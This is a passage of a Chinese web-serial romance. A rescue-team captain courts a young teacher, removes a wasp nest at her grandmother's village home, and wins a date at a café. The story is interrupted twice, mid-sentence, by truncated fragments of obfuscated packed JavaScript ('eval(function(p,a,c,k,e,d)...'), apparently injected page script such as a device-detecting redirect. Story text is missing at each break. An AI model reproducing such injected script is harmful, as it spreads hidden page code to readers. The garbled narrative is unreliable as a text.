还记得江昱洲曾经说过,他是第一次相亲。 这种事,他除了找钟柠,估计也找不出别人吧? 江昱洲说完了那句话,心也跟着提到了嗓子眼。 四肢冰凉,浑身哆嗦。 上一次有这种反应还是入伍前等消息的时候。 一分一秒都是煎熬。 他提前预判了多种钟柠可能的反应。 大发雷霆型:把他臭骂一顿,神经病,疯子,咱们才刚认识你就要跟人家谈恋爱,早就说你是个渣男,没错,接着摔门而出。 处变不惊型:小伙子,开什么玩笑呢,咱俩才刚见第二面,什么都不了解就要谈恋爱?小伙子是不是精神有点问题,去三医院看看吧啊,然后很平静地下车。 只是,眼前这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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江昱洲像是怕吓到她一样,一边说话一边后退,手摆动的幅度做到最大。 “你好好考虑,慢慢考虑。” “谢谢你,钟老师,谢谢你肯给我这个机会。” 江昱洲实在是太激动了,又是双手合十,又是低头鞠躬,就差给她敬礼了。 钟柠尴尬地笑笑指了指身后的水果店,“那我先走了,再联系。” 水果店里,陈红英正忙着。 自从女儿帮她建了客户微信群,搞了晚上八点以后水果半价的促销活动,她就越来越忙了。 见钟柠进门,陈红英赶忙招呼。 “来,闺女,正好你回来了,帮我把这一袋水果送到对面小区,上面有地址。” 钟柠都没来得及坐下喝口水,就又当了半晚上的外卖员。 一直到十点半才回家,江昱洲让她考虑的事情,也全都抛在了脑后。 临睡前,钟柠听见爸妈关店回来了,两口子嘴里嘁嘁喳喳地一直在说着什么,有点听不清。 她打开门走出来,问道,“怎么了,妈,出什么事了?” 钟文德手里拿着根长长的竹竿,正在往顶端绑一个塑料袋。 “下午的时候你奶奶给我打电话,说是老家房檐下面有老大一只马蜂窝,每天有好多马蜂进进出出的,让我想办法弄掉。” 钟柠看了一眼竹竿,“所以,您就打算用竹竿捅下来?” “那不然还能怎么办?” 钟柠走近把竿子拿了过来,“你捅了人家的窝,马蜂们齐心协力地把你蛰个满头包,你怎么办?” 陈红英也附和道,“就是,我就说直接捅不行,还是用我的办法,找个梯子,你爬上去,用热水浇。” 钟柠闭了闭眼,“妈,拉倒吧,你的办法更不行,人还没从梯子下来呢,马蜂已经扑面而来了。” 两口子齐齐看着她,“这也不行,那也不行,那你来说个好办法?” 钟柠笑笑,卖了个关子。 “爸妈,你们安心睡觉,明天上午我跟老爸一起回老家。” 回到房间,钟柠开始翻朋友圈。 她隐约记得有人曾经分享过如何消灭马蜂窝的简便方法。 她把朋友圈内容从今年翻到了前年,还是没找到,无奈,她只好发圈求助。 【万能的朋友圈,请告诉我如何安全地铲除老家房檐下的马蜂窝,前提是不能受伤,万分感谢!】 发完,她把手机扔到一边,关灯准备睡觉。 黑暗中,安静了一会儿的手机突然叮叮响了两声。 新消息来自江昱洲。 江昱洲:【地址。】 江昱洲:【明天我带人过去。】 12.第 12 章 看到江昱洲的消息,钟柠蹭地一下从床上坐了起来。 怎么把他给忘了? 他们救援队不就是干这个的吗? 要知道这条朋友圈会被他看到,钟柠是断断不会发的。 她脑海里思考着该如何拒绝,又看了眼时间,已经晚上十一点二十了。 要不别回了,假装已经睡着得了。 把手机静音放到床头柜上,钟柠闭眼强迫自己入睡。 不知过了多久才勉强睡去,睡着了一堆乱七八糟的梦缠绕着她。 天光大亮的时候,钟柠迷迷糊糊地听见老妈的唠叨声。 “老伴,要不把这套一次性雨衣穿上吧,可以挡一挡,蜜蜂的针再尖也不会隔着雨衣蛰你吧。” “没事没事,不用穿,我先回去看看情况。” 钟柠哈欠连天地走出卧室。 “我昨天查了一晚上也没找到好办法,实在不行就打119,找消防员吧。” 钟文德坐下开始吃早餐。 “就这么件小事,还麻烦人家消防员啊?不至于,赶紧吃饭,吃完饭咱们回去想想办法。” 钟柠坐到老爸旁边,拿起一根油条撕着吃了一小口,习惯性地打开手机看天气。 这才想起来还没回复江昱洲的消息。 她调出微信低头打字。 【不用麻烦了,江队长,我们自己可以解决,谢谢。】 点击发送,钟柠低头喝豆浆,眼神还盯着对话框。 屏幕闪了闪,显示对方正在输入中。 江昱洲:【我在你家小区门口,带了专业设备,马蜂窝在哪里?】 噗...... 钟柠一激动,怕豆浆喷出来,赶紧把嘴巴闭紧,没咽下去的半口豆浆估计是进了气道,呛的她咳个不停。 陈红英赶紧过来给她拍背,“怎么了这是,这么大了,吃个饭还会呛到。” 钟柠缓了一会儿,觉得好多了。 “咳咳,没事妈,我没事。” 江昱洲真的等在门口吗?那他要怎么跟爸妈解释呢? 钟柠拿起手机回房间打电话。 “喂,你真的来了?” “对,钟老师,我在门口,马蜂窝在哪里?” “不在这,在我奶奶家,在农村,开车过去得四十分钟,远得很呢,不用麻烦了,你快回去吧。” 江昱洲的声音透着一丝不容质疑,“远也可以去,人民群众的安全就是我们的责任,钟老师,麻烦你给我们指路。” 钟柠:...... 她挂断电话,假装平静地从房间走出来。 “爸,我认识一个救援队的,他说可以帮忙除马蜂窝,爸你吃好了吗,咱们走吧?” 钟文德起身站了起来,“啊?救援队的?会不会太麻烦了,收费吗,要是收费咱就不用了,自己也能弄。” 钟柠听他讲过,是公益救援队,应该是不收费的吧? 再说了,人家不知道已经在门口等了多久,就算是收费她也认了。 父女俩换衣服出门。 钟文德开着他那辆破旧的宝来载着女儿,开出小区门口的时候,一辆崭新的长城炮皮卡就停在宁宁水果店门口。 车体明显进行了改装,加装了车顶行李架和辅助射灯,能够装载各类救援设备,车身全部涂成了藏蓝色,上面写着临川应急,还有逐光救援队的字样。 “我靠,这阵仗也太大了吧。”钟柠忍不住小声感叹了一句。 钟文德偏头问她,“啊?说什么?” 钟柠指了指那辆救援车,“爸,你把车停到水果店门口,我下去打个招呼。” 看到那么专业的救援车辆,钟文德也惊到了,“啊,这....这我也下去打个招呼。” 钟柠下车走到救援车前面。 车门应声开启,走下来两个穿着救援队服装,身形差不多的男士。 副驾驶下来的,是江昱洲。 “钟老师,地点在哪里,麻烦你带路,我们现在就可以出发。” 钟柠还没来得及开口,老爸已经跟了上来,笑眯眯地看着俩人。 “闺女,这是你朋友啊?” 江昱洲的视线转过来,脸上浮起憨厚的笑容,伸出双手跟钟文德握在一起。 “叔叔,你好,我是江昱洲,是逐光救援队的,可以帮你们清除马蜂窝。” 钟文德上下打量着江昱洲,眼神恨不得在他身上戳几个洞。 他拍着那双有力的手,笑呵呵说道,“好啊,那就麻烦你了,小江同志。” “不麻烦,这都是我们应该做的,麻烦叔叔前面带路。” 钟柠指了指旁边听着的那辆灰色宝来,“跟着我们走吧。” 大家各自上车。 钟文德开得不快,钟柠从后视镜里看了一眼,坐在车上的江昱洲,腰背挺得笔直,目视前方。 他好像每时每刻都保持着端正的神态。 钟文德跟钟柠闲聊起来。 “闺女,这个小江是你朋友哇,爸爸怎么没听你说过?以前同学吗?还是……” 钟柠知道,老爸不是一个八卦的人,今天大概是真的好奇。 “刚认识的,他们救援队去我们学校讲课,刚认识的。” “哦,这样子,这小伙子蛮不错的,不知道有没有对象啊?” “哎呀,爸……” 钟柠不耐烦地啧了声,钟文德乖乖闭嘴,“好了,不说了,不说了,爸爸不催你。” 钟柠又看了一眼后视镜,救援车一直保持100米左右的车距,不慌不忙地跟着。 半小时后,车子抵达爷爷奶奶家。 这里的位置处于城乡结合部,近几年市里大力发展旅游业,周边的山山水水都被开发出来,老旧的村子也换了新颜。 救援车一进村就吸引了众多关注的目光,因为是周六,村口文化广场聚集了一群玩耍的小朋友,见到这么酷的救援车,自动跟在车后面跑。 奶奶家就在村口附近,钟柠下车,小跑着迈进小院,嘴里一个劲地喊着奶奶。 “奶奶,快出来呀,你孙女来啦!” 钟柠从小跟爷爷奶奶关系最好,她在这里念完小学才被爸妈接到城里,后面爸妈工作忙,周末和暑假也都是在奶奶家度过的。 老太太听见孙女的声音迈着小碎步连忙迎了出来。 奶奶今年70多岁,头发花白,精神头还不错,衣裳穿得简朴整洁。 “哎呀,我们柠柠回来啦,这次你好久都没回来了哦。” 钟柠给了老太太一个熊抱,来不及多解释,江昱洲还在外面等着呢。 “奶奶,救援队的人来给你除马蜂窝了,你快带我去看看马蜂窝在哪啊?” 钟柠拉着奶奶走出巷子里,就看到了那辆拉风的救援车。 小朋友们已经围了个水泄不通。 这可把老太太惊着了。 “哎哟哎哟,就那么多一个马蜂窝哪里就需要这么大阵仗啦,柠柠你这不是瞎闹吗?” 祖孙俩说着话,江昱洲已经抬腿阔步来到跟前。 他和同伴一起穿了白色防蜂服,全封闭款式,透气面罩下能看到一双亮晶晶的眼睛。 “奶奶好,请您前面带路。” 奶奶没再说什么,带着他们来到院内北屋的屋檐下。 “小伙子,你看,就是在那里。” 江昱洲手拿□□,朝着钟柠喊了一句。 “钟老师,你带着奶奶先离开,越远越好,还有外面的小朋友一定要看好,二十米之内不要有人。” “好好,我知道了。” 钟柠连忙照做。 江昱洲和同伴一起三下五除二就把蜂窝击落,用火焰将里面的马蜂统统烧死。 又把落在地上的蜂窝和马蜂尸体装到准备好的袋子里。 整个过程前后不过十分钟。 钟柠和奶奶远远地看着,嘴里不住地夸赞小伙子做事干脆利索。 江昱洲把现场处理干净,脱下防蜂服,走过来跟时奶奶打招呼。 “奶奶,都弄好了,您可以放心住了。如果之后还有马蜂飞过来,您随时联系我。” 钟奶奶上下打量着面前这个小伙子。 身材高大,体型宽阔,办事又稳妥,一看就是个靠谱的。 老人家拉着江昱洲的手不松开。 “谢谢你啊,小伙子,大老远的跑过来,连口水都没喝,快来,进屋喝点水。” 江昱洲笑着拒绝。 “不了,奶奶,我们还要赶着回去呢,后面还有任务,我们就先走了,谢谢您的好意。” 钟文德从进门开始就到了前院的小菜园,入秋后,蔬菜瓜果都败了,需要把藤蔓枝叶整理出来。 见江昱洲他们要走,他连忙上前。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他说话的语速很快,眼神躲闪,根本不敢看她,一边说话,还一边挠头。 他一下子问了她很多问题,但钟柠还是一下子就精准捕捉到了他最想问的那句。 能看得出来他是真的很着急。 她也该给出自己的答案了。 “江队长。” 她突然喊了他一声。 “哎,有什么吩咐,你说。”江昱洲接话接的很快,有点迫不及待地意味,好像他稍微晚一秒,钟柠就会消失一样。 “我有点冷,可以麻烦你把空调开的高一点吗?” 江昱洲眉头皱了皱,心说,这么郑重其事的叫我,就是为了让我调温度。 他抬头看向后视镜,果然,涨潮又在偷看他,听见他们的对话,还跟着一起偷偷地笑他。 他江大队长的面子是一点都没有了...... 江昱洲队长做事干练利索,这一来一回不过两个小时。 钟柠被送回家的时候,不过是上午十点多。 下车前,她礼貌道谢。 “江队长,谢谢您送我回来,还有,今天的事,改天请你吃饭,好好感谢你。” 钟柠下了车。 江昱洲也忙不迭地跟着下去了。 他此刻头脑清醒地很,猜到钟柠是不是因为第三人在场才不愿回答他的问题,总要下去问个清楚。 “钟老师,等一下。” 钟柠回头,看见江昱洲站在车前面,神情很是焦急。 “钟老师,我知道,刚才张潮在场,你可能不好意思回答,所以,我想郑重其事地再问你一遍。” “昨天我问你的那个问题,你考虑的怎么样了?条件随便你提。” 此刻,他们站在小区门口。 周围是熙熙攘攘卖货的小贩,还有来回路过的人群。 小朋友写完作业出来玩耍,跑来跑去,无比地热闹。 钟柠甚至不敢朝水果店的方向看。 就怕跟陈红英女士来个隔空对视,她解释都解释不清。 她压低声音,朝他抬了抬手,“你小点声,这是在我们小区门口,进进出出都是熟人,再让我妈看见就惨啦。” 江昱洲抬眼环顾四周,一阵寒意自后背升起,“那...那我们换个地方?” 钟柠指了指自己的手机,“你先去忙你的,我给你发信息。”说完就小跑着进了小区。 大概五分钟之后,江昱洲接到了钟柠的信息。 钟老师:【晚上六点,左岸咖啡厅。】 江昱洲拿着手机,摁灭屏幕,右手紧紧握拳,小声说了句:yes! 吃了一路瓜的张潮:???这是拿下了?